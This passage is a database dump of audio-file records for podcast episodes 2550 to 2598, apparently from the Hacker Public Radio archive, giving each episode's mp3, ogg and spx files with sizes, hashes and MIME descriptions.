(2550,'hpr2550.spx','spx',13488673,'f882b60c0d7b6e452a1b6833c68a26871a42c124','application/ogg; charset=binary','Ogg data, Speex audio'),
(2551,'hpr2551.mp3','mp3',12449313,'850df21c0866e9ae5c69251901a2407f95957fd7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2551,'hpr2551.ogg','ogg',12572027,'0d1c51bee89b29ecf80c708391dcd9d6900210f4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2551,'hpr2551.spx','spx',5559721,'e60dd78ba96defac6c773ebd8d4dbe2379070e10','application/ogg; charset=binary','Ogg data, Speex audio'),
(2552,'hpr2552.mp3','mp3',6353152,'3bb95d6278b7447de5511b9fc69402614d508093','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2552,'hpr2552.ogg','ogg',6712706,'6a388f6aa72a61a6f4b595d84a67b7e4424cc987','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2552,'hpr2552.spx','spx',2837162,'e97738363bfdd8bcfa384ac29b2346fd0bce82d3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2553,'hpr2553.mp3','mp3',22697003,'66b4d27e24d525a9bb367bff1cdcd76648f96374','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2553,'hpr2553.ogg','ogg',22365386,'ab021e3818a354bf66939f7d2fdd128e82ead25b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2553,'hpr2553.spx','spx',10136409,'96fb228fb556b57225f97d86d2e6321deb9639f7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2554,'hpr2554.mp3','mp3',14579633,'688b46017294373bb01b8e54f372dff66328c696','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2554,'hpr2554.ogg','ogg',15594145,'48716e5936f90ad4ee12676d7c0802ba91d61c04','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2554,'hpr2554.spx','spx',6511170,'ee1094b87cdb8209869f33ba8b404e5c71e7fcb1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2555,'hpr2555.mp3','mp3',93832933,'a9133da7451382792e65dd960b65636d972fea37','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2555,'hpr2555.ogg','ogg',92077688,'4a2ac5d88699be48936f6f6c265454fa5a0edd60','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2555,'hpr2555.spx','spx',41906557,'1ccaead5c474d0e4a30405fbfba6288687650c2f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2556,'hpr2556.mp3','mp3',20691670,'dddd65d175bea27fddfdb770dde8d88df1f374fb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2556,'hpr2556.ogg','ogg',18384514,'09bcea94fd829d563a7abe6e450afebbfc65ffa4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2556,'hpr2556.spx','spx',9240850,'80aa34132fe2fb552d7ac4231e792c6f7a2dd07b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2557,'hpr2557.mp3','mp3',7762574,'b68231ef23d942a28987c7f3283da952572f65e4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2557,'hpr2557.ogg','ogg',6811938,'11c22d30cb4b315813bd27146baa744118a3b75d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2557,'hpr2557.spx','spx',3466643,'4ec57845985e40bfcae9e5ecbc2e428eb828d1b8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2558,'hpr2558.mp3','mp3',6506775,'092c3bebff229010e04919831971bedc84664ae6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2558,'hpr2558.ogg','ogg',7177122,'16813d3478bb7779f9c6be6155ccf519450f883c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2558,'hpr2558.spx','spx',2905804,'4ad35633534b2546f3fc96d7f29062a0b84bf2c8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2559,'hpr2559.mp3','mp3',10005486,'3da93f3a3c00efb704a9c0c2a2be4fe2257a8cb7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2559,'hpr2559.ogg','ogg',12461510,'573575a4535b3f3915c3e630cc8d6d34cb9f73ec','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2559,'hpr2559.spx','spx',4468254,'3dca25c5e0bac93394c09c9d0e9d949984df3f8e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2560,'hpr2560.mp3','mp3',14697557,'83a9919af16c5a55fa4fd240b02c1464b314e355','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2560,'hpr2560.ogg','ogg',16949138,'5c6e7abc3bd70e9f4a846ce9286eea54ba3f60d2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2560,'hpr2560.spx','spx',6563881,'a534b2ae9d78f2fa8f7682a2a82e835effa1b10c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2561,'hpr2561.mp3','mp3',12866819,'5fd0c64b21b4f8826427e56b4302a3c5c212a42f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2561,'hpr2561.ogg','ogg',15188134,'39c3283cd92478125e77d2c1696308c5824e3a2d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2561,'hpr2561.spx','spx',5746184,'1b2b0d49f4ec29616ff53fab7ad73a17660b9afd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2562,'hpr2562.mp3','mp3',10937352,'4412a25626e68d9d7224d4c657e4ce11023ab536','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2562,'hpr2562.ogg','ogg',11878189,'c0ad324d4fa0a09b71f2eda8c4a646f59b815d00','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2562,'hpr2562.spx','spx',4884528,'07954a226e0ca23a8b71af569585a4af6be86c61','application/ogg; charset=binary','Ogg data, Speex audio'),
(2563,'hpr2563.mp3','mp3',9615532,'e916069e3701b571cf1d70522869ae8e198d8e51','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2563,'hpr2563.ogg','ogg',10002201,'bde69abdfe9750390d3ee8279a43d5014af6951e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2563,'hpr2563.spx','spx',4294193,'7522eec58f4aca8f325b03a24faa9d9c584b80ed','application/ogg; charset=binary','Ogg data, Speex audio'),
(2564,'hpr2564.mp3','mp3',16197119,'8c0c57268d2805c5f324934836bbddad11e2bc67','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2564,'hpr2564.ogg','ogg',16208802,'d607444415f318bad43dfc7c724a5d5b41676b21','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2564,'hpr2564.spx','spx',7233510,'1349efe15caa9b18aee23a5899d542c784000bf6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2565,'hpr2565.mp3','mp3',86579254,'f4afddb195f2ff82918c210a1757d02464921c1f','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2565,'hpr2565.ogg','ogg',86588533,'59422615820ec9bb5b8835e07aa7a0b2907e6ebe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2565,'hpr2565.spx','spx',38666967,'35b93b5153ecff6b5b986911274dc4815db92a71','application/ogg; charset=binary','Ogg data, Speex audio'),
(2566,'hpr2566.mp3','mp3',31587886,'00dfe7c9cb41ce4d89e009903cbaee8a3487a934','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2566,'hpr2566.ogg','ogg',31660893,'36339da331fc6c1f7ac260368d7a5eb271bbc69b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2566,'hpr2566.spx','spx',14107199,'a9536c14f9ae32cf1830a54344cbd4dce08d53c1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2567,'hpr2567.mp3','mp3',3239606,'6f3909f36d2134c480c56a963399c32f0803ad49','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2567,'hpr2567.ogg','ogg',3685906,'bcea42392fc658af384387bc901b4c7928daa97b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2567,'hpr2567.spx','spx',1446562,'c028ceef0782c8fc86ead4c4d231ad8157acbd58','application/ogg; charset=binary','Ogg data, Speex audio'),
(2568,'hpr2568.mp3','mp3',26517975,'5a231920a1aec71285bed499e20fc13e204b2bf7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2568,'hpr2568.ogg','ogg',26229285,'27977afdd077b6e8db6df75ede97496bd722e0d7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2568,'hpr2568.spx','spx',11842928,'a9ef18b63f5c0c0191ed9e0089f11f96dffd7219','application/ogg; charset=binary','Ogg data, Speex audio'),
(2569,'hpr2569.mp3','mp3',9410301,'1fdb42f1831eb41a10c34409580b504c8daeaacb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2569,'hpr2569.ogg','ogg',9560719,'e3ecde35f7296bb839c779fe27f1e58fd14407b4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2569,'hpr2569.spx','spx',4202493,'b95545985e4379b4359667369fa654addd795086','application/ogg; charset=binary','Ogg data, Speex audio'),
(2570,'hpr2570.mp3','mp3',9008031,'3f4531db0bc863543d386cf92b2ab4361a4cd581','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2570,'hpr2570.ogg','ogg',10565520,'d33a27d2627d4e52dd7f715c7ba086df28403e96','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2570,'hpr2570.spx','spx',4022881,'e540405894d49b6b29d8c0747831222a050bad78','application/ogg; charset=binary','Ogg data, Speex audio'),
(2571,'hpr2571.mp3','mp3',9616326,'a13cc6015acdabc1ffac13bdcd9718e115473701','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2571,'hpr2571.ogg','ogg',9533890,'78d7afc59b92519c9ff6a2ceb6b8b38637ae457c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2571,'hpr2571.spx','spx',4294505,'d3912620906cd3787e1d8c0d6709d62fa543ef06','application/ogg; charset=binary','Ogg data, Speex audio'),
(2572,'hpr2572.mp3','mp3',3814658,'a71cf6bad51743346948467d453cd10238a7bafa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2572,'hpr2572.ogg','ogg',4290381,'d80d5cc0b96ce5cd7da39426359d86c9d3006079','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2572,'hpr2572.spx','spx',1703323,'38aef251f98263c07db1d33c4a801448ea70e577','application/ogg; charset=binary','Ogg data, Speex audio'),
(2573,'hpr2573.mp3','mp3',10113083,'894206de9f073495c5a2b276b6409f67374d7926','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2573,'hpr2573.ogg','ogg',10063952,'7f5d26afa7561342dd22d4c86c72457b0d290efb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2573,'hpr2573.spx','spx',4516334,'85a7caf298d7a3845ababba3ff3f9d359fcffdd3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2574,'hpr2574.mp3','mp3',14682680,'753b541b04cf49cfd036c373828bc4fcf44a1ffb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2574,'hpr2574.ogg','ogg',14052509,'eb59882c637f4d0e990a028098e4ba31d4ddeeb9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2574,'hpr2574.spx','spx',6557140,'b62f348c205138c31c1315fe6ae46bff7ed03858','application/ogg; charset=binary','Ogg data, Speex audio'),
(2575,'hpr2575.mp3','mp3',7679313,'56481b34e334654f4ad41e1df35da1535d709172','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2575,'hpr2575.ogg','ogg',8870992,'a260b3fb08b4265b9eabe6f6467dd53b315c1ec3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2575,'hpr2575.spx','spx',3429393,'5cbbabe838c34e604a0bea7a45c32cf007dbc6af','application/ogg; charset=binary','Ogg data, Speex audio'),
(2576,'hpr2576.mp3','mp3',3781241,'aa551652fe5e712f2c730bfc292c4656d7f5af1f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2576,'hpr2576.ogg','ogg',3875069,'53c17e9cb490b8601ec0da46c77b825a5880f87e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2576,'hpr2576.spx','spx',1688494,'98572f4d6c28cf6e868afbe4791929e8b4449aab','application/ogg; charset=binary','Ogg data, Speex audio'),
(2577,'hpr2577.mp3','mp3',15090111,'9178ffc33d5deaf738896842a83dfe0a12f069e0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2577,'hpr2577.ogg','ogg',14693402,'7be935d8ee13f50af5ffb84fe230df8da5413943','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2577,'hpr2577.spx','spx',6739129,'f77a3e74e685eb62789718bd71d8dafd0aabb847','application/ogg; charset=binary','Ogg data, Speex audio'),
(2578,'hpr2578.mp3','mp3',112903068,'efc16917352e41d9dda977e053d43f3a539f69cf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2578,'hpr2578.ogg','ogg',118159751,'13c9c3b45de6c02184db801021f4f23643a65dcb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2578,'hpr2578.spx','spx',50423366,'cf2f87f0b8b3bc2366a8009d26049154b7c252cd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2579,'hpr2579.mp3','mp3',6097818,'34905f27b672fe06717eb3ccbe690431003dfd53','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2579,'hpr2579.ogg','ogg',6684688,'9afe11885d8c13f0aa412a42fae979fda9a66e7a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2579,'hpr2579.spx','spx',2723085,'2d418b68815d4b9a1bf4ccecdde857285e93c2fd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2580,'hpr2580.mp3','mp3',7815372,'2c2af58a3e86306d0c442d42e40b5cc03f0180f6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2580,'hpr2580.ogg','ogg',9197658,'6126e97572936b23df94c8c04ed97f49a303087f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2580,'hpr2580.spx','spx',3490206,'4168343f1713014b8ddd19b15f451b95f0f6f4e8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2581,'hpr2581.mp3','mp3',11019317,'b756acd5affe36cf8ecfa0e752a1351980447027','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2581,'hpr2581.ogg','ogg',12333645,'8783f24401944780dac436d939083c4e340f89cb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2581,'hpr2581.spx','spx',4921168,'b4682d84f7cc913a8be2379fcacd9c2000c96832','application/ogg; charset=binary','Ogg data, Speex audio'),
(2582,'hpr2582.mp3','mp3',21866338,'06431ab492a1e1f280bac563af8cd743b77efccf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2582,'hpr2582.ogg','ogg',21488439,'a7cdbd8f7a4de2975fccb2fd1c6d4630575b500b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2582,'hpr2582.spx','spx',9765501,'a93d5e335af460d4ba855b6d26d3ba9256c72e05','application/ogg; charset=binary','Ogg data, Speex audio'),
(2583,'hpr2583.mp3','mp3',7611642,'1c86e73a4e3674e92765345438b4d6cfe53d276e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2583,'hpr2583.ogg','ogg',7521234,'eee961cc22f144fd4552bebcaf1f2589c47f686f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2583,'hpr2583.spx','spx',3399210,'d2bfa02b3699bf561b1a83a8af81d6c56995a4ff','application/ogg; charset=binary','Ogg data, Speex audio'),
(2584,'hpr2584.mp3','mp3',6869991,'d9f1f198961bea0bed9f7220fb44f4336f19cced','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2584,'hpr2584.ogg','ogg',7190356,'02a6a6dd2c13f1ea9c550d3f84c53ee355eba760','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2584,'hpr2584.spx','spx',3067938,'370ad321aeed3549bee1ffef37333cdccab3ee2e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2585,'hpr2585.mp3','mp3',1860722,'deeadad78334f904dbbe0ba577ecae48fd08165c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2585,'hpr2585.ogg','ogg',2098821,'caa4700ed643d3737bf255de6840553f1ee104f1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2585,'hpr2585.spx','spx',830705,'09d3d4edc4ae1516544b3b738e0414aac48cbf7b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2586,'hpr2586.mp3','mp3',29215552,'d0b367d470f1d95a3e50c287d72fdd7d31e14546','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2586,'hpr2586.ogg','ogg',29392661,'2b83291380dd5b831719b334142b905a040dab11','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2586,'hpr2586.spx','spx',13047707,'22ce430d7fbca0f09087cd79e9ab500ae4a11468','application/ogg; charset=binary','Ogg data, Speex audio'),
(2587,'hpr2587.mp3','mp3',13238233,'e037b92b2836fbc4b814b7e19a22e3d60c690acd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2587,'hpr2587.ogg','ogg',14735893,'f76cc3f4ebd036c33ac47902b7102ce12e4f106d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2587,'hpr2587.spx','spx',5912112,'4511e4730bc6d140a0bd02b5a96d51122c83782e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2588,'hpr2588.mp3','mp3',14995307,'9db11ba2edc99f30a50b2b0fe16b740095ae0280','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2588,'hpr2588.ogg','ogg',14265022,'000d5217490c98c1541127989b4d1637ea6c6a47','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2588,'hpr2588.spx','spx',6696830,'80fb4d4ec6d35ff69d8293a966713506e52be982','application/ogg; charset=binary','Ogg data, Speex audio'),
(2589,'hpr2589.mp3','mp3',8026493,'fff970f0db2abbf397a159146e166be564cd4498','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2589,'hpr2589.ogg','ogg',9154441,'6dbdd412644e0d4190a76677775d67779dad4c41','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2589,'hpr2589.spx','spx',3584456,'de24f7f4dc54f6d922936da8f5e53119ba697d53','application/ogg; charset=binary','Ogg data, Speex audio'),
(2590,'hpr2590.mp3','mp3',2948493,'c198b3830a14b7d97e5cbb3466aec9ae585c26e3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2590,'hpr2590.ogg','ogg',3280177,'e2e075e5a95942eeba673fe749318cffe9913dfd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2590,'hpr2590.spx','spx',1316598,'237f0703034cbfad64ef09c5d317e07ccafe7195','application/ogg; charset=binary','Ogg data, Speex audio'),
(2591,'hpr2591.mp3','mp3',14811389,'3b43cc351bbab73ce78f1a721bd06593507ed417','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2591,'hpr2591.ogg','ogg',14740354,'6bd409cccdaab2289b25f973f1a927055355546b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2591,'hpr2591.spx','spx',6614630,'69529f559fe51e003e7b60ba62b830349ec8121d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2592,'hpr2592.mp3','mp3',24365126,'1b98e6d8a2a2d0b33032c32411d31507321075a6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2592,'hpr2592.ogg','ogg',27562636,'2d6fa62774103236f05c85b374881d3f346f6cfa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2592,'hpr2592.spx','spx',10881526,'dec1a8f9310c5daee085e8ead3bcb612d2c7f14e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2593,'hpr2593.mp3','mp3',14274305,'330fd6db0e8f126595748b6c58144a334c3626be','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2593,'hpr2593.ogg','ogg',13589896,'0fcf3cbda9f03abe252028c8914b2a658b5979eb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2593,'hpr2593.spx','spx',6374802,'0ff9634036fff97ead261a8d690054749c33f050','application/ogg; charset=binary','Ogg data, Speex audio'),
(2594,'hpr2594.mp3','mp3',6198960,'28212dedc773a7ba879a8118e39d6e6336c4006f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2594,'hpr2594.ogg','ogg',7313183,'320fad2d1fcf3df0a2696de6fac2d0e66037d85b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2594,'hpr2594.spx','spx',2768321,'7e49178013d8cc06aa1bb64030697063cbfeadf0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2595,'hpr2595.mp3','mp3',3134489,'43a3dab70a23f3d941ffd596fc1f9766ce9dc3d1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2595,'hpr2595.ogg','ogg',3457395,'64e6608691b92419b5181e88e34e4e4c5f0a716c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2595,'hpr2595.spx','spx',1399617,'c256544edd0171e1eec8da72006ab010f7895307','application/ogg; charset=binary','Ogg data, Speex audio'),
(2596,'hpr2596.mp3','mp3',11346534,'fe37eb917500e9bea798aaaf56dc6e59687e17d7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2596,'hpr2596.ogg','ogg',12754652,'857259313eabd55b2b36ad684699934b36b0dbb8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2596,'hpr2596.spx','spx',5067165,'2517a1c8d72f676e9e251ee2b94c59c1c29dcbed','application/ogg; charset=binary','Ogg data, Speex audio'),
(2597,'hpr2597.mp3','mp3',4228306,'d4f1c78b3251a50636eddef9a48af42e8c98d1dc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2597,'hpr2597.ogg','ogg',4861464,'340660f10c9ea8c2c691170dca66115ffc9c21d1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2597,'hpr2597.spx','spx',1888194,'39006bf4e081959f8cdf748174b51c36d712c768','application/ogg; charset=binary','Ogg data, Speex audio'),
(2598,'hpr2598.mp3','mp3',14763749,'e56e3e5c95c2373edc4a2a41928ca8f0822d2b29','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2598,'hpr2598.ogg','ogg',14188250,'3ef9ead90de2a51da631aa6d0ec1538270453d46','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2598,'hpr2598.spx','spx',6593338,'861d6658668120e2398ff1ac94953ad7c02bd163','application/ogg; charset=binary','Ogg data, Speex audio'),
